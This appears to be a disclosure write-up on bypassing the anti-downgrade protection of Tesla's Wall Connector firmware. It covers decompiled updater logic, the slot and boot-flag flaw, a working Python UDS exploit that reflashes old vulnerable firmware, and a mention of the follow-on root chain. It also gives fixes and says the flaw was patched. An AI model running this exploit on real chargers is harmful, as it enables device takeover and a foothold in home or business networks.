A quick recap of the update procedure

We described the full update flow over Single-Wire CAN in the first article. In short:

1. Open a UDS session (type 2).
2. Authenticate with Security Access (level 5, XOR-0x35 algorithm).
3. Run routine 0xFF00 to prepare and erase the passive slot.
4. Write 0x0E to identifier 0x102 to mark the slot as “settable via UDS”.
5. Push the firmware with Request Download / Transfer Data / Request Transfer Exit.
6. Run routine 0x201 to validate the freshly written image and switch slots.
7. Run routine 0x202 to reboot.

As a reminder, the AW-CU300 uses two firmware slots: one active (currently running) and one passive (target of the update). After a successful update, slots flip and the new firmware becomes active on next boot.

What changed in 24.44.3

After diffing the old firmware against version 24.44.3, we focused on switch_to_new_firmware(), the function that handles UDS routine 0x201:

int switch_to_new_firmware()
{
    ...
    if ( settable_via_uds != 14 || !passive_firmware )
        return 1;
    if ( passive <= 0
      || passive > passive_firmware->size
      || (v2 = check_signature(passive_firmware->start, passive)) != 0
      || !check_image_and_antidowngrade(nullptr) )
    {
        part_erase(flash_drv, passive_firmware->start, 0x14u);
        v2 = 4;
    }
    else
    {
        part_write_layout(passive_firmware);
    }
    flash_drv_close(flash_drv);
    passive_firmware = nullptr;
    return v2;
}

check_image_and_antidowngrade() is new. It parses the firmware segments, recomputes their CRCs, then calls verify_firmware_segments_platform() for the ratchet comparison:

int verify_firmware_segments_platform(int flash_drv, u32_t *segments, ...)
{
    ...
    // Walk the segments looking for the version descriptor in the
    // segment that ends in the [0x100000 .. 0x100010] window.
    ...
    if ( buffer.next != (netif *)'NSRV' /* "VRSN" */ )
        goto next_segment;

    major = LOBYTE(buffer.ip_addr.addr);
    minor = BYTE1(buffer.ip_addr.addr);

    if ( buffer.netmask.addr == '2SRV' /* "VRS2" */
      && LOBYTE(buffer.gw.addr) > 1u )
        firmware_ratchet = BYTE2(buffer.gw.addr);
    else
        firmware_ratchet = 0;
    ...

    sub_1F04866C(&current_ratchet);   // read ratchet from PSM (persistent storage)

    if ( current_ratchet <= firmware_ratchet
      || !call_psm_wrapper(...) )
    {
        return 0;                     // accepted
    }

    log("Failure: Security ratchet downgrade prevented %d < %d",
        firmware_ratchet, current_ratchet);
    return -1;
}

Version information is embedded in firmware segments (VRSN for the version, VRS2 for the ratchet), in the segment that loads near 0x100000. Only the updater parses this, not the bootloader. On the device side, the ratchet lives in PSM (Persistent Storage Manager) and gets incremented when a higher-ratchet image is activated.

So on a 24.44.3 device, sending the old 0.8.58 firmware and calling routine 0x201 terminates with:

ERROR verify_firmware_segments_platform:145
Failure: Security ratchet downgrade prevented 0 < N

And the slot gets immediately erased. There is no way to keep an old image in flash through the official path.

The bootloader doesn't care

boot2, as it is called in the build artifacts, sits in flash at a fixed address and is not part of any firmware update shipped by Tesla. We had to dump the flash from a charger we previously rooted via the original Pwn2Own exploit to analyze it.

It does perform several checks on the active firmware before jumping to it:

• Magic header (SBFH).
• Per-segment CRC32.
• RSA signature against a key from the keystore.

But it has no notion of a security ratchet. Any firmware image with a valid signature and correct CRC will execute, regardless of its version. Neither boot2 nor the bootrom implement secure boot. So the anti-downgrade is enforced exclusively by one piece of code, switch_to_new_firmware(), at one moment: when routine 0x201 is called.

So: can we get an old, signed firmware into the active slot without ever calling routine 0x201 on it?

How a slot becomes active

Routine 0xFF00 calls prepare_passive_slot(), which selects which physical slot is "passive" based on the current boot flags, then erases it:

int prepare_passive_slot(int a1, int a2, int a3)
{
    partition_entry *f1, *f2;
    int16_t v7 = 0;

    if ( part_read_layout(a1, a2, a3)
      || (f1 = part_get_layout_by_id(1, &v7),
          f2 = part_get_layout_by_id(1, &v7),
          !f1)
      || !f2 )
    {
        passive_firmware = nullptr;
        __und(0xFFu);
    }

    if ( (g_boot_flags & 3) != 0 )    // we booted from slot 1?
        f2 = f1;                      // then passive is slot 0

    passive_firmware = f2;
    ...
    if ( part_erase(flash_drv, dword_115200, dword_115204) < 0 )
        ...
    return 0;
}

part_get_layout_by_id() is iterator-based: first call returns the first partition entry with id 1, second call returns the next one. Depending on g_boot_flags, one or the other becomes passive.

Here is what matters: g_boot_flags is set at boot time and never updated. It reflects which slot we booted from, not what the partition table currently says.

part_write_layout(), which flips slots, does not touch firmware data. It only rewrites the partition table by bumping a per-slot generation counter:

int part_write_layout(partition_entry *a1)
{
    ...
    if ( /* a1 matches f1 */ )
        v3->gen_level = v4->gen_level + 1;
    else if ( /* a1 matches f2 */ )
        v4->gen_level = v3->gen_level + 1;
    else
        return -23;

    // erase + rewrite the 4KiB partition table area
    part_erase(v8, partition_table_addr, 0x1000);
    flash_write(v8, &dword_129B7C, 16);
    flash_write(v8, byte_1299FC, 24 * word_129B82);
    flash_write(v8, &checksum, 4);
    ...
}

On boot, the bootloader picks the slot with the highest gen_level. So to make a slot active for next boot, you only need part_write_layout() to succeed once for that slot. What happens to its content afterwards does not matter.

The bypass

To recap: routine 0xFF00 erases the physical passive slot based on g_boot_flags (which never changes during a session), routine 0x201 validates slot contents and writes the partition layout, and the bootloader trusts the partition table without checking the ratchet.

With that in mind:

1. Send a valid, up-to-date firmware to the passive slot. Call routine 0x201. Validation passes; the partition layout is written, so this slot now has the highest gen_level.
2. Without rebooting, call routine 0xFF00 again. Because g_boot_flags hasn’t changed, the same physical slot is selected as passive, and the firmware we just validated is erased. The partition table is not touched.
3. Send an old, signed-but-vulnerable firmware to the now-empty slot.
4. Skip routine 0x201 entirely (we don't need it, and it would refuse the image). Just call routine 0x202 to reboot.

On reboot, the bootloader reads the partition table, picks the slot with the highest gen_level (the one we just rewrote), validates its signature (still valid, it is a properly signed firmware), and jumps in. The anti-downgrade check never ran on the old image.

Exploit

Our exploit is a small extension of the Pwn2Own car simulator. Single-Wire CAN setup, GPIO sequence, UDS plumbing: all unchanged. Only the update sequence is doubled:

with Client(conn, config=uds_config) as client:
    client.set_config('security_algo', tesla_uds_algo)
    client.change_session(2)
    client.unlock_security_access(5)

    # 1. Push a valid, up-to-date firmware and let routine 0x201
    #    write the partition layout for us.
    client.routine_control(routine_id=0xFF00, control_type=1)
    client.write_data_by_identifier(0x102, 0x0E)
    data = open("firmwares/WC3_RELEASE_FLEET_24.44.3.prodsigned.bin","rb").read()
    send_firmware_data(client, data)
    client.routine_control(routine_id=0x201, control_type=1)  # writes layout
    sleep(1)

    # 2. Re-prepare the same physical slot. The valid firmware gets
    #    erased; the partition table is untouched.
    client.routine_control(routine_id=0xFF00, control_type=1)
    client.write_data_by_identifier(0x102, 0x0E)
    data = open("firmwares/WC3_PROD_OTA_08.58.bin","rb").read()
    send_firmware_data(client, data)
    sleep(1)

    # 3. Reboot. The bootloader will boot the old firmware because
    #    the partition table still says this slot is the active one.
    client.routine_control(routine_id=0x202, control_type=1)

Total run time is roughly 30 minutes on the 33.3 kbps SWCAN bus: twice the original Pwn2Own timing, since two full firmware images have to be sent over the cable. After reboot, version 0.8.58 is back in charge, and the rest of the original chain (UDS leak of the Wi-Fi credentials, telnet to the debug shell, buffer overflow in the argument parser) works exactly as before.

Conclusion

Because the anti-downgrade only lives in the updater and the bootloader does not check the ratchet, any sequence that commits the partition layout then overwrites the slot content bypasses it. Routine 0xFF00 lets us do exactly that: erase the firmware after the layout has been written, then write whatever we want.

Enforcing the ratchet in the bootloader would close this gap. Other options: have routine 0xFF00 invalidate the partition layout entry when erasing a slot, so an erased-then-rewritten slot is never picked as bootable. Or simply force a reboot after a successful update, or reject any new update session once routine 0x201 has succeeded.

We reported this vulnerability to Tesla and it was fixed in a firmware update several months ago. As with the first article, the Wall Connector typically sits on a home or business network, and a charger taken over via its charging cable becomes a foothold inside that network. On the bright side, Tesla's automatic OTA deployment to connected chargers means the fix reaches most devices quickly, reducing the exposure window in practice.